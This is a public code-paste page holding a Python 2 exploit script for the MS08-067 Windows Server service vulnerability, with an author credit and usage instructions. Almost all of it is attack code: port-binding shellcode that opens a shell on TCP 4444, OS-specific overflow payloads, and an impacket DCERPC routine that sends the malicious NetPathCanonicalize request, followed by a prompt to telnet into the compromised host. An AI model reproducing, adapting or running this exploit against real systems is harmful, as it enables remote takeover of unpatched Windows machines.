fork(1) download
copy 
  1. #!/usr/bin/env python
  2. #############################################################################
  3. #   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
  4. #   www.hackingspirits.com
  5. #   www.coffeeandsecurity.com
  6. #   Email: d3basis.m0hanty @ gmail.com
  7. #############################################################################
  8.  
  9. import struct
  10. import sys
  11.  
  12. from threading import Thread    #Thread is imported incase you would like to modify
  13.                                 #the src to run against multiple targets.
  14.  
  15. try:
  16.     from impacket import smb
  17.     from impacket import uuid
  18.     from impacket.dcerpc import dcerpc
  19.     from impacket.dcerpc import transport
  20. except ImportError, _:
  21.     print 'Install the following library to make this script work'
  22.     print 'Impacket : http://o...content-available-to-author-only...y.com/projects/impacket.html'
  23.     print 'PyCrypto : http://w...content-available-to-author-only...k.ca/python/code/crypto.html'
  24.     sys.exit(1)
  25.  
  26.  
  27. print '#######################################################################'
  28. print '#   MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)'
  29. print '#   www.hackingspirits.com'
  30. print '#   www.coffeeandsecurity.com'
  31. print '#   Email: d3basis.m0hanty @ gmail.com'
  32. print '#######################################################################\n'
  33.  
  34.  
  35. #Portbind shellcode from metasploit; Binds port to TCP port 4444
  36. shellcode  = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  37. shellcode += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
  38. shellcode += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
  39. shellcode += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
  40. shellcode += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
  41. shellcode += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
  42. shellcode += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
  43. shellcode += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
  44. shellcode += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
  45. shellcode += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
  46. shellcode += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
  47. shellcode += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
  48. shellcode += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
  49. shellcode += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
  50. shellcode += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
  51. shellcode += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
  52. shellcode += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
  53. shellcode += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
  54. shellcode += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
  55. shellcode += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
  56. shellcode += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
  57. shellcode += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
  58. shellcode += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
  59.  
  60.  
  61. #Payload for Windows 2000 target
  62. payload_1='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
  63. payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
  64. payload_1+='\x41\x41\x41\x41\x41\x41\x41\x41'
  65. payload_1+='\x41\x41'
  66. payload_1+='\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
  67. payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
  68. payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
  69. payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
  70. payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
  71. payload_1+='\x43\x43\x43\x43\x43\x43\x43\x43'
  72. payload_1+='\xeb\xcc'
  73. payload_1+='\x00\x00'
  74.  
  75. #Payload for Windows 2003[SP2] target
  76. payload_2='\x41\x00\x5c\x00'
  77. payload_2+='\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
  78. payload_2+='\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
  79. payload_2+='\x8b\xc4\x66\x05\x60\x04\x8b\x00'
  80. payload_2+='\x50\xff\xd6\xff\xe0\x42\x84\xae'
  81. payload_2+='\xbb\x77\xff\xff\xff\xff\x01\x00'
  82. payload_2+='\x01\x00\x01\x00\x01\x00\x43\x43'
  83. payload_2+='\x43\x43\x37\x48\xbb\x77\xf5\xff'
  84. payload_2+='\xff\xff\xd1\x29\xbc\x77\xf4\x75'
  85. payload_2+='\xbd\x77\x44\x44\x44\x44\x9e\xf5'
  86. payload_2+='\xbb\x77\x54\x13\xbf\x77\x37\xc6'
  87. payload_2+='\xba\x77\xf9\x75\xbd\x77\x00\x00'
  88.  
  89.  
  90. if sys.argv[2]=='1':    #Windows 2000 Payload
  91.     payload=payload_1
  92.     print '[-]Windows 2000 payload loaded'
  93. if sys.argv[2]=='2':    #Windows 2003[SP2] Payload
  94.     payload=payload_2
  95.     print '[-]Windows 2003[SP2] payload loaded'
  96.  
  97.  
  98. class SRVSVC_Exploit(Thread):
  99.     def __init__(self, target, osver, port=445):
  100.         super(SRVSVC_Exploit, self).__init__()
  101.         self.__port   = port
  102.         self.target   = target
  103.         self.osver   = osver
  104.  
  105.     def __DCEPacket(self):
  106.         print '[-]Initiating connection'
  107.         self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
  108.         self.__trans.connect()
  109.         print '[-]connected to ncacn_np:%s[\\pipe\\browser]' % self.target
  110.         self.__dce = self.__trans.DCERPC_class(self.__trans)
  111.         self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
  112.  
  113.         # Constructing Malicious Packet
  114.         self.__stub='\x01\x00\x00\x00'
  115.         self.__stub+='\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
  116.         self.__stub+=shellcode
  117.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  118.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  119.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  120.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  121.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  122.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  123.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  124.         self.__stub+='\x41\x41\x41\x41\x41\x41\x41\x41'
  125.         self.__stub+='\x00\x00\x00\x00'
  126.         self.__stub+='\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
  127.         self.__stub+=payload
  128.         self.__stub+='\x00\x00\x00\x00'
  129.         self.__stub+='\x02\x00\x00\x00\x02\x00\x00\x00'
  130.         self.__stub+='\x00\x00\x00\x00\x02\x00\x00\x00'
  131.         self.__stub+='\x5c\x00\x00\x00\x01\x00\x00\x00'
  132.         self.__stub+='\x01\x00\x00\x00'
  133.         return
  134.  
  135.     def run(self):
  136.         self.__DCEPacket()
  137.         self.__dce.call(0x1f, self.__stub)   #0x1f (or 31)- NetPathCanonicalize Operation
  138.         print '[-]Exploit sent to target successfully...\n[1]Telnet to port 4444 on target machine...'
  139.  
  140. if __name__ == '__main__':
  141.        try:
  142.                target = sys.argv[1]
  143.                osver = sys.argv[2]
  144.        except IndexError:
  145.                print '\nUsage: %s <target ip> <os version>\n' % sys.argv[0]
  146.                print 'Example: srvsvcexpl.py 192.168.1.1 2\n'
  147.                print 'Select OS Version'
  148.                print '[-]Windows 2000: OS Version = 1'
  149.                print '[-]Windows 2003[SP2]: OS Version = 2'
  150.  
  151.                sys.exit(-1)
  152.  
  153. current = SRVSVC_Exploit(target, osver)
  154. current.start()
  155. #print '[-]Exploit sent to target successfully...\n[-]Telnet to port 4444 on target machine...'
Runtime error #stdin #stdout 0.1s 10976KB
comments (?)
stdin
copy 
Standard input is empty
stdout
copy 
Install the following library to make this script work
Impacket : http://o...content-available-to-author-only...y.com/projects/impacket.html
PyCrypto : http://w...content-available-to-author-only...k.ca/python/code/crypto.html
https://ideone.com/SwJci7
language:
Python (cpython 2.7.16)
created:
11 years ago
visibility:
public

Share or Embed source code

Discover > Sphere Engine API

The brand new service which powers Ideone!

Discover > IDE Widget

Widget for compiling and running the source code in a web browser!